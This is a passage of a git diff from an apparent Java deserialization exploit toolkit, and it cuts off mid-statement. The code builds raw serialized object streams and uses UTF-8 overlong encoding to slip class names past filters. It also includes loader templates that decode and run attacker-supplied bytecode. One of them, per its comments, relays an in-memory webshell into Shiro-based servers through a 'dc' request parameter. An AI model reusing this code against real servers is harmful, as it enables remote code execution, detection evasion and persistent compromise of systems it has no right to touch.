ObjectData implements SerializedElement { - - private final List data = new ArrayList<>(); - private Serialization ser; - - public void setSer(Serialization ser) { - this.ser = ser; - } - - public int size() { - return this.data.size(); - } - - public void write(DataOutputStream out, HandleContainer handles) throws Exception { - for (Data d : this.data) - this.ser.treatObject(out, d.data, handles, d.block); - } - - public ObjectData addData(Object obj) { - addData(obj, false); - return this; - } - - public void addData(Object obj, boolean block) { - this.data.add(new Data(block, obj)); - } - - private static class Data { - - private final boolean block; - - private final Object data; - - public Data(boolean block, Object data) { - this.block = block; - this.data = data; - } - } - } -} +package com.qi4l.JYso.gadgets.utils.jre; + +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +import java.io.DataOutputStream; +import java.util.ArrayList; +import java.util.List; + +public class TCObject extends ReferencableObject implements SerializedElement { + private static final Logger log = LogManager.getLogger(TCObject.class); + private final Serialization ser; + + private final List descData; + + public TCObject(Serialization ser) { + this.descData = new ArrayList<>(); + this.ser = ser; + } + + public int size() { + return this.descData.size(); + } + + public void addClassDescData(TCClassDesc desc, ObjectData data) throws Exception { + addClassDescData(desc, data, false); + } + + public void addClassDescData(TCClassDesc desc, ObjectData data, boolean ignoreEquality) throws Exception { + if (!ignoreEquality && + desc.getFieldsCount() != data.size()) + throw new Exception("not enough fields/data, fields count: " + desc.getFieldsCount() + ", data count: " + data.size()); + data.setSer(this.ser); + this.descData.add(new ClassDescData(desc, data)); + } + + protected void writeHeader(DataOutputStream out) throws Exception { + out.writeByte(115); + } + + protected void writeClassDescs(DataOutputStream out, HandleContainer handles) { + try { + for (ClassDescData d : this.descData) { + d.getDesc().write(out, handles); + } + out.writeByte(112); + } catch (Exception e) { + if (!e.getMessage().equals("stop")) + log.error("e: ", e); + } + } + + protected void writeClassData(DataOutputStream out, HandleContainer handles) throws Exception { + for (int i = this.descData.size() - 1; i >= 0; i--) { + ClassDescData d = this.descData.get(i); + d.getData().write(out, handles); + if (d.getDesc().hasWriteObject()) { + this.ser.writeBlockData(out, handles); + out.writeByte(120); + } + } + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + writeHeader(out); + writeClassDescs(out, handles); + handles.putHandle(getHandleObject()); + writeClassData(out, handles); + } + + private static class ClassDescData { + + private final TCClassDesc desc; + + private final TCObject.ObjectData data; + + public ClassDescData(TCClassDesc desc, TCObject.ObjectData data) { + this.desc = desc; + this.data = data; + } + + public TCClassDesc getDesc() { + return this.desc; + } + + public TCObject.ObjectData getData() { + return this.data; + } + } + + public static class ObjectData implements SerializedElement { + + private final List data = new ArrayList<>(); + private Serialization ser; + + public void setSer(Serialization ser) { + this.ser = ser; + } + + public int size() { + return this.data.size(); + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + for (Data d : this.data) + this.ser.treatObject(out, d.data, handles, d.block); + } + + public ObjectData addData(Object obj) { + addData(obj, false); + return this; + } + + public void addData(Object obj, boolean block) { + this.data.add(new Data(block, obj)); + } + + private static class Data { + + private final boolean block; + + private final Object data; + + public Data(boolean block, Object data) { + this.block = block; + this.data = data; + } + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCProxyClassDesc.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCProxyClassDesc.java index e63582d..2b7f4ce 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCProxyClassDesc.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCProxyClassDesc.java @@ -1,21 +1,21 @@ -package com.qi4l.JYso.gadgets.utils.jre; - -import java.io.DataOutputStream; -import java.util.ArrayList; -import java.util.List; - -public class TCProxyClassDesc extends TCClassDesc implements SerializedElement { - private final List> interfaces = new ArrayList<>(); - - public void addInterface(Class cls) { - this.interfaces.add(cls); - } - - public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { - out.writeByte(125); - out.writeInt(this.interfaces.size()); - for (Class intf : this.interfaces) - out.writeUTF(intf.getName()); - out.writeByte(120); - } -} +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.DataOutputStream; +import java.util.ArrayList; +import java.util.List; + +public class TCProxyClassDesc extends TCClassDesc implements SerializedElement { + private final List> interfaces = new ArrayList<>(); + + public void addInterface(Class cls) { + this.interfaces.add(cls); + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(125); + out.writeInt(this.interfaces.size()); + for (Class intf : this.interfaces) + out.writeUTF(intf.getName()); + out.writeByte(120); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCReference.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCReference.java index e22a63a..06f8076 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCReference.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCReference.java @@ -1,16 +1,16 @@ -package com.qi4l.JYso.gadgets.utils.jre; - -import java.io.DataOutputStream; - -public class TCReference implements SerializedElement { - private final int handle; - - public TCReference(int handle) { - this.handle = handle; - } - - public void write(DataOutputStream out, HandleContainer handles) throws Exception { - out.writeByte(113); - out.writeInt(8257536 + this.handle); - } -} +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.DataOutputStream; + +public class TCReference implements SerializedElement { + private final int handle; + + public TCReference(int handle) { + this.handle = handle; + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(113); + out.writeInt(8257536 + this.handle); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCString.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCString.java index 8dfe7d3..1cf5ad4 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCString.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCString.java @@ -1,32 +1,32 @@ -package com.qi4l.JYso.gadgets.utils.jre; - -import java.io.DataOutputStream; -import java.util.HashMap; -import java.util.Map; - -public class TCString extends ReferencableObject implements SerializedElement { - private static final Map instances = new HashMap<>(); - private final String content; - - private TCString(String content) { - this.content = content; - } - - public static TCString getInstance(String content) { - TCString ins = instances.get(content); - if (ins != null) - return ins; - ins = new TCString(content); - instances.put(content, ins); - return ins; - } - - public Object getHandleObject() { - return this.content; - } - - public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { - out.writeByte(116); - out.writeUTF(this.content); - } -} +package com.qi4l.JYso.gadgets.utils.jre; + +import java.io.DataOutputStream; +import java.util.HashMap; +import java.util.Map; + +public class TCString extends ReferencableObject implements SerializedElement { + private static final Map instances = new HashMap<>(); + private final String content; + + private TCString(String content) { + this.content = content; + } + + public static TCString getInstance(String content) { + TCString ins = instances.get(content); + if (ins != null) + return ins; + ins = new TCString(content); + instances.put(content, ins); + return ins; + } + + public Object getHandleObject() { + return this.content; + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(116); + out.writeUTF(this.content); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Util.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Util.java index cea668e..80f3e33 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Util.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Util.java @@ -1,22 +1,22 @@ -package com.qi4l.JYso.gadgets.utils.jre; - -import java.lang.reflect.InvocationHandler; - -public class Util { - - public static TCObject makeProxy(Class[] interfaces, TCObject handler, Serialization ser) throws Exception { - return doMakeProxy(interfaces, handler, ser); - } - - private static TCObject doMakeProxy(Class[] interfaces, Object handler, Serialization ser) throws Exception { - TCObject proxy = new TCObject(ser); - TCProxyClassDesc proxyDesc = new TCProxyClassDesc(); - for (Class intf : interfaces) - proxyDesc.addInterface(intf); - TCClassDesc desc = new TCClassDesc("java.lang.reflect.Proxy"); - desc.addField(new TCClassDesc.Field("h", InvocationHandler.class)); - proxy.addClassDescData(proxyDesc, new TCObject.ObjectData()); - proxy.addClassDescData(desc, (new TCObject.ObjectData()).addData(handler)); - return proxy; - } -} +package com.qi4l.JYso.gadgets.utils.jre; + +import java.lang.reflect.InvocationHandler; + +public class Util { + + public static TCObject makeProxy(Class[] interfaces, TCObject handler, Serialization ser) throws Exception { + return doMakeProxy(interfaces, handler, ser); + } + + private static TCObject doMakeProxy(Class[] interfaces, Object handler, Serialization ser) throws Exception { + TCObject proxy = new TCObject(ser); + TCProxyClassDesc proxyDesc = new TCProxyClassDesc(); + for (Class intf : interfaces) + proxyDesc.addInterface(intf); + TCClassDesc desc = new TCClassDesc("java.lang.reflect.Proxy"); + desc.addField(new TCClassDesc.Field("h", InvocationHandler.class)); + proxy.addClassDescData(proxyDesc, new TCObject.ObjectData()); + proxy.addClassDescData(desc, (new TCObject.ObjectData()).addData(handler)); + return proxy; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java b/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java index 970a3f4..f286da7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java @@ -1,128 +1,128 @@ -package com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding; - -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -import java.io.*; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.HashMap; - -public class UTF8OverlongObjectOutputStream extends ObjectOutputStream { - private static final Logger log = LogManager.getLogger(UTF8OverlongObjectOutputStream.class); - public static HashMap map = new HashMap() {{ - put('.', new int[]{0xc0, 0xae}); - put(';', new int[]{0xc0, 0xbb}); - put('$', new int[]{0xc0, 0xa4}); - put('[', new int[]{0xc1, 0x9b}); - put(']', new int[]{0xc1, 0x9d}); - put('a', new int[]{0xc1, 0xa1}); - put('b', new int[]{0xc1, 0xa2}); - put('c', new int[]{0xc1, 0xa3}); - put('d', new int[]{0xc1, 0xa4}); - put('e', new int[]{0xc1, 0xa5}); - put('f', new int[]{0xc1, 0xa6}); - put('g', new int[]{0xc1, 0xa7}); - put('h', new int[]{0xc1, 0xa8}); - put('i', new int[]{0xc1, 0xa9}); - put('j', new int[]{0xc1, 0xaa}); - put('k', new int[]{0xc1, 0xab}); - put('l', new int[]{0xc1, 0xac}); - put('m', new int[]{0xc1, 0xad}); - put('n', new int[]{0xc1, 0xae}); - put('o', new int[]{0xc1, 0xaf}); // 0x6f - put('p', new int[]{0xc1, 0xb0}); - put('q', new int[]{0xc1, 0xb1}); - put('r', new int[]{0xc1, 0xb2}); - put('s', new int[]{0xc1, 0xb3}); - put('t', new int[]{0xc1, 0xb4}); - put('u', new int[]{0xc1, 0xb5}); - put('v', new int[]{0xc1, 0xb6}); - put('w', new int[]{0xc1, 0xb7}); - put('x', new int[]{0xc1, 0xb8}); - put('y', new int[]{0xc1, 0xb9}); - put('z', new int[]{0xc1, 0xba}); - put('A', new int[]{0xc1, 0x81}); - put('B', new int[]{0xc1, 0x82}); - put('C', new int[]{0xc1, 0x83}); - put('D', new int[]{0xc1, 0x84}); - put('E', new int[]{0xc1, 0x85}); - put('F', new int[]{0xc1, 0x86}); - put('G', new int[]{0xc1, 0x87}); - put('H', new int[]{0xc1, 0x88}); - put('I', new int[]{0xc1, 0x89}); - put('J', new int[]{0xc1, 0x8a}); - put('K', new int[]{0xc1, 0x8b}); - put('L', new int[]{0xc1, 0x8c}); - put('M', new int[]{0xc1, 0x8d}); - put('N', new int[]{0xc1, 0x8e}); - put('O', new int[]{0xc1, 0x8f}); - put('P', new int[]{0xc1, 0x90}); - put('Q', new int[]{0xc1, 0x91}); - put('R', new int[]{0xc1, 0x92}); - put('S', new int[]{0xc1, 0x93}); - put('T', new int[]{0xc1, 0x94}); - put('U', new int[]{0xc1, 0x95}); - put('V', new int[]{0xc1, 0x96}); - put('W', new int[]{0xc1, 0x97}); - put('X', new int[]{0xc1, 0x98}); - put('Y', new int[]{0xc1, 0x99}); - put('Z', new int[]{0xc1, 0x9a}); - }}; - - public UTF8OverlongObjectOutputStream(OutputStream out) throws IOException { - super(out); - } - - @Override - protected void writeClassDescriptor(ObjectStreamClass desc) { - try { - String name = desc.getName(); - writeShort(name.length() * 2); - try { - for (int i = 0; i < name.length(); i++) { - char s = name.charAt(i); - write(map.get(s)[0]); - write(map.get(s)[1]); - } - } catch (Exception ignored) { - - } - writeLong(desc.getSerialVersionUID()); - byte flags = 0; - if ((Boolean) Reflections.getFieldValue(desc, "externalizable")) { - flags |= ObjectStreamConstants.SC_EXTERNALIZABLE; - Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol"); - protocolField.setAccessible(true); - int protocol = (Integer) protocolField.get(this); - if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) { - flags |= ObjectStreamConstants.SC_BLOCK_DATA; - } - } else if ((Boolean) Reflections.getFieldValue(desc, "serializable")) { - flags |= ObjectStreamConstants.SC_SERIALIZABLE; - } - if ((Boolean) Reflections.getFieldValue(desc, "hasWriteObjectData")) { - flags |= ObjectStreamConstants.SC_WRITE_METHOD; - } - if ((Boolean) Reflections.getFieldValue(desc, "isEnum")) { - flags |= ObjectStreamConstants.SC_ENUM; - } - writeByte(flags); - ObjectStreamField[] fields = (ObjectStreamField[]) Reflections.getFieldValue(desc, "fields"); - writeShort(fields.length); - for (ObjectStreamField f : fields) { - writeByte(f.getTypeCode()); - writeUTF(f.getName()); - if (!f.isPrimitive()) { - Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class); - writeTypeString.setAccessible(true); - writeTypeString.invoke(this, f.getTypeString()); -// writeTypeString(f.getTypeString()); - } - } - } catch (Exception e) { - log.error("e: ", e); - } - } -} +package com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashMap; + +public class UTF8OverlongObjectOutputStream extends ObjectOutputStream { + private static final Logger log = LogManager.getLogger(UTF8OverlongObjectOutputStream.class); + public static HashMap map = new HashMap() {{ + put('.', new int[]{0xc0, 0xae}); + put(';', new int[]{0xc0, 0xbb}); + put('$', new int[]{0xc0, 0xa4}); + put('[', new int[]{0xc1, 0x9b}); + put(']', new int[]{0xc1, 0x9d}); + put('a', new int[]{0xc1, 0xa1}); + put('b', new int[]{0xc1, 0xa2}); + put('c', new int[]{0xc1, 0xa3}); + put('d', new int[]{0xc1, 0xa4}); + put('e', new int[]{0xc1, 0xa5}); + put('f', new int[]{0xc1, 0xa6}); + put('g', new int[]{0xc1, 0xa7}); + put('h', new int[]{0xc1, 0xa8}); + put('i', new int[]{0xc1, 0xa9}); + put('j', new int[]{0xc1, 0xaa}); + put('k', new int[]{0xc1, 0xab}); + put('l', new int[]{0xc1, 0xac}); + put('m', new int[]{0xc1, 0xad}); + put('n', new int[]{0xc1, 0xae}); + put('o', new int[]{0xc1, 0xaf}); // 0x6f + put('p', new int[]{0xc1, 0xb0}); + put('q', new int[]{0xc1, 0xb1}); + put('r', new int[]{0xc1, 0xb2}); + put('s', new int[]{0xc1, 0xb3}); + put('t', new int[]{0xc1, 0xb4}); + put('u', new int[]{0xc1, 0xb5}); + put('v', new int[]{0xc1, 0xb6}); + put('w', new int[]{0xc1, 0xb7}); + put('x', new int[]{0xc1, 0xb8}); + put('y', new int[]{0xc1, 0xb9}); + put('z', new int[]{0xc1, 0xba}); + put('A', new int[]{0xc1, 0x81}); + put('B', new int[]{0xc1, 0x82}); + put('C', new int[]{0xc1, 0x83}); + put('D', new int[]{0xc1, 0x84}); + put('E', new int[]{0xc1, 0x85}); + put('F', new int[]{0xc1, 0x86}); + put('G', new int[]{0xc1, 0x87}); + put('H', new int[]{0xc1, 0x88}); + put('I', new int[]{0xc1, 0x89}); + put('J', new int[]{0xc1, 0x8a}); + put('K', new int[]{0xc1, 0x8b}); + put('L', new int[]{0xc1, 0x8c}); + put('M', new int[]{0xc1, 0x8d}); + put('N', new int[]{0xc1, 0x8e}); + put('O', new int[]{0xc1, 0x8f}); + put('P', new int[]{0xc1, 0x90}); + put('Q', new int[]{0xc1, 0x91}); + put('R', new int[]{0xc1, 0x92}); + put('S', new int[]{0xc1, 0x93}); + put('T', new int[]{0xc1, 0x94}); + put('U', new int[]{0xc1, 0x95}); + put('V', new int[]{0xc1, 0x96}); + put('W', new int[]{0xc1, 0x97}); + put('X', new int[]{0xc1, 0x98}); + put('Y', new int[]{0xc1, 0x99}); + put('Z', new int[]{0xc1, 0x9a}); + }}; + + public UTF8OverlongObjectOutputStream(OutputStream out) throws IOException { + super(out); + } + + @Override + protected void writeClassDescriptor(ObjectStreamClass desc) { + try { + String name = desc.getName(); + writeShort(name.length() * 2); + try { + for (int i = 0; i < name.length(); i++) { + char s = name.charAt(i); + write(map.get(s)[0]); + write(map.get(s)[1]); + } + } catch (Exception ignored) { + + } + writeLong(desc.getSerialVersionUID()); + byte flags = 0; + if ((Boolean) Reflections.getFieldValue(desc, "externalizable")) { + flags |= ObjectStreamConstants.SC_EXTERNALIZABLE; + Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol"); + protocolField.setAccessible(true); + int protocol = (Integer) protocolField.get(this); + if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) { + flags |= ObjectStreamConstants.SC_BLOCK_DATA; + } + } else if ((Boolean) Reflections.getFieldValue(desc, "serializable")) { + flags |= ObjectStreamConstants.SC_SERIALIZABLE; + } + if ((Boolean) Reflections.getFieldValue(desc, "hasWriteObjectData")) { + flags |= ObjectStreamConstants.SC_WRITE_METHOD; + } + if ((Boolean) Reflections.getFieldValue(desc, "isEnum")) { + flags |= ObjectStreamConstants.SC_ENUM; + } + writeByte(flags); + ObjectStreamField[] fields = (ObjectStreamField[]) Reflections.getFieldValue(desc, "fields"); + writeShort(fields.length); + for (ObjectStreamField f : fields) { + writeByte(f.getTypeCode()); + writeUTF(f.getName()); + if (!f.isPrimitive()) { + Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class); + writeTypeString.setAccessible(true); + writeTypeString.invoke(this, f.getTypeString()); +// writeTypeString(f.getTypeString()); + } + } + } catch (Exception e) { + log.error("e: ", e); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java b/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java index d6530a0..8cc0a2d 100644 --- a/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java @@ -1,86 +1,86 @@ -package com.qi4l.JYso.template; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.lang.reflect.Method; -import java.net.URL; -import java.net.URLClassLoader; -import java.util.zip.GZIPInputStream; - -/** - * ClassLoader define 代码 - */ -public class ClassLoaderTemplate { - - static String b64; - - static String className; - - static { - try { - // 初始化 - initClassBytes(); - GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(base64Decode(b64))); - ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); - byte[] bs = new byte[4096]; - int read; - while ((read = gzipInputStream.read(bs)) != -1) { - byteArrayOutputStream.write(bs, 0, read); - } - byte[] bytes = byteArrayOutputStream.toByteArray(); - ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); - Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); - invoke.newInstance(); - - //ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - //Method method = Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class); - //method.setAccessible(true); - //Class invoke = (Class) method.invoke(null, classLoader, className, bytes, 0, bytes.length); - //try { - // // 先尝试 newInstance - // invoke.newInstance(); - //} catch (Exception ignored) { - // try { - // // 如果没有无参构造方法,会报错,这里可以使用 Unsafe 创建,个人非常喜欢 Unsafe 这个类,无拘无束,自由自在 - // Class unsafe = Class.forName("sun.misc.Unsafe"); - // Field theUnsafeField = unsafe.getDeclaredField("theUnsafe"); - // theUnsafeField.setAccessible(true); - // Object unsafeObject = theUnsafeField.get(null); - // unsafeObject.getClass().getDeclaredMethod("allocateInstance", Class.class).invoke(unsafeObject, invoke); - // } catch (Exception neverMind) { - // // 如果没有 Unsafe,可以使用反射库中的方法,为 Class 创建一个 - // Constructor objCons = invoke.getDeclaredConstructor(new Class[0]); - // objCons.setAccessible(true); - // Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(invoke, objCons); - // sc.setAccessible(true); - // sc.newInstance(new Object[0]); - // } - //} - } catch (Exception ignored) { - } - } - - public static byte[] base64Decode(String bs) throws Exception { - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception ignored) { - } - } - - return value; - } - - public static void initClassBytes() { - } +package com.qi4l.JYso.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.zip.GZIPInputStream; + +/** + * ClassLoader define 代码 + */ +public class ClassLoaderTemplate { + + static String b64; + + static String className; + + static { + try { + // 初始化 + initClassBytes(); + GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(base64Decode(b64))); + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + byte[] bs = new byte[4096]; + int read; + while ((read = gzipInputStream.read(bs)) != -1) { + byteArrayOutputStream.write(bs, 0, read); + } + byte[] bytes = byteArrayOutputStream.toByteArray(); + ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + invoke.newInstance(); + + //ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + //Method method = Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class); + //method.setAccessible(true); + //Class invoke = (Class) method.invoke(null, classLoader, className, bytes, 0, bytes.length); + //try { + // // 先尝试 newInstance + // invoke.newInstance(); + //} catch (Exception ignored) { + // try { + // // 如果没有无参构造方法,会报错,这里可以使用 Unsafe 创建,个人非常喜欢 Unsafe 这个类,无拘无束,自由自在 + // Class unsafe = Class.forName("sun.misc.Unsafe"); + // Field theUnsafeField = unsafe.getDeclaredField("theUnsafe"); + // theUnsafeField.setAccessible(true); + // Object unsafeObject = theUnsafeField.get(null); + // unsafeObject.getClass().getDeclaredMethod("allocateInstance", Class.class).invoke(unsafeObject, invoke); + // } catch (Exception neverMind) { + // // 如果没有 Unsafe,可以使用反射库中的方法,为 Class 创建一个 + // Constructor objCons = invoke.getDeclaredConstructor(new Class[0]); + // objCons.setAccessible(true); + // Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(invoke, objCons); + // sc.setAccessible(true); + // sc.newInstance(new Object[0]); + // } + //} + } catch (Exception ignored) { + } + } + + public static byte[] base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return value; + } + + public static void initClassBytes() { + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java b/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java index 5fb3ebb..bbf51ac 100644 --- a/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java +++ b/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java @@ -1,94 +1,94 @@ -package com.qi4l.JYso.template; - -/** - * 在 shiro 等环境下,直接打内存马会出现 header 太长的问题,需要进行一个中转 - * 从 Parameter 默认为 "dc" 中取字符进行 base64 decode,然后进行类加载,参考 ShiroAttack2 - * 内存马 class 文件可以自行生成,base64 编码后由 request body 中的 dc 参数传递 - */ -public class DefineClassFromParameter { - - public static String parameter = "dc"; - - static { - try { - boolean flag = false; - ThreadGroup group = Thread.currentThread().getThreadGroup(); - java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); - f.setAccessible(true); - Thread[] threads = (Thread[]) f.get(group); - for (int i = 0; i < threads.length; i++) { - try { - Thread t = threads[i]; - if (t == null) continue; - String str = t.getName(); - if (str.contains("exec") || !str.contains("http")) continue; - f = t.getClass().getDeclaredField("target"); - f.setAccessible(true); - Object obj = f.get(t); - if (!(obj instanceof Runnable)) continue; - f = obj.getClass().getDeclaredField("this$0"); - f.setAccessible(true); - obj = f.get(obj); - try { - f = obj.getClass().getDeclaredField("handler"); - } catch (NoSuchFieldException e) { - f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); - } - f.setAccessible(true); - obj = f.get(obj); - try { - f = obj.getClass().getSuperclass().getDeclaredField("global"); - } catch (NoSuchFieldException e) { - f = obj.getClass().getDeclaredField("global"); - } - f.setAccessible(true); - obj = f.get(obj); - f = obj.getClass().getDeclaredField("processors"); - f.setAccessible(true); - java.util.List processors = (java.util.List) (f.get(obj)); - for (int j = 0; j < processors.size(); ++j) { - Object processor = processors.get(j); - f = processor.getClass().getDeclaredField("req"); - f.setAccessible(true); - - Object req = f.get(processor); - Object note = req.getClass().getMethod("getNote", new Class[]{Integer.TYPE}).invoke(req, new Object[]{new Integer(1)}); - String payload = (String) note.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(note, new Object[]{parameter}); - if (payload != null && !payload.isEmpty()) { - byte[] classBytes = base64Decode(payload); - java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); - method.setAccessible(true); - Class clazz = (Class) method.invoke(DefineClassFromParameter.class.getClassLoader(), classBytes, new Integer(0), new Integer(classBytes.length)); - clazz.newInstance(); - } - - flag = true; - } - if (flag) break; - } catch (Exception ignored) { - } - } - - } catch (Exception ignored) { - } - } - - public static byte[] base64Decode(String bs) { - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception ignored) { - } - } - - return value; - } -} +package com.qi4l.JYso.template; + +/** + * 在 shiro 等环境下,直接打内存马会出现 header 太长的问题,需要进行一个中转 + * 从 Parameter 默认为 "dc" 中取字符进行 base64 decode,然后进行类加载,参考 ShiroAttack2 + * 内存马 class 文件可以自行生成,base64 编码后由 request body 中的 dc 参数传递 + */ +public class DefineClassFromParameter { + + public static String parameter = "dc"; + + static { + try { + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); + f.setAccessible(true); + Thread[] threads = (Thread[]) f.get(group); + for (int i = 0; i < threads.length; i++) { + try { + Thread t = threads[i]; + if (t == null) continue; + String str = t.getName(); + if (str.contains("exec") || !str.contains("http")) continue; + f = t.getClass().getDeclaredField("target"); + f.setAccessible(true); + Object obj = f.get(t); + if (!(obj instanceof Runnable)) continue; + f = obj.getClass().getDeclaredField("this$0"); + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getDeclaredField("handler"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); + } + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getSuperclass().getDeclaredField("global"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getDeclaredField("global"); + } + f.setAccessible(true); + obj = f.get(obj); + f = obj.getClass().getDeclaredField("processors"); + f.setAccessible(true); + java.util.List processors = (java.util.List) (f.get(obj)); + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + f = processor.getClass().getDeclaredField("req"); + f.setAccessible(true); + + Object req = f.get(processor); + Object note = req.getClass().getMethod("getNote", new Class[]{Integer.TYPE}).invoke(req, new Object[]{new Integer(1)}); + String payload = (String) note.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(note, new Object[]{parameter}); + if (payload != null && 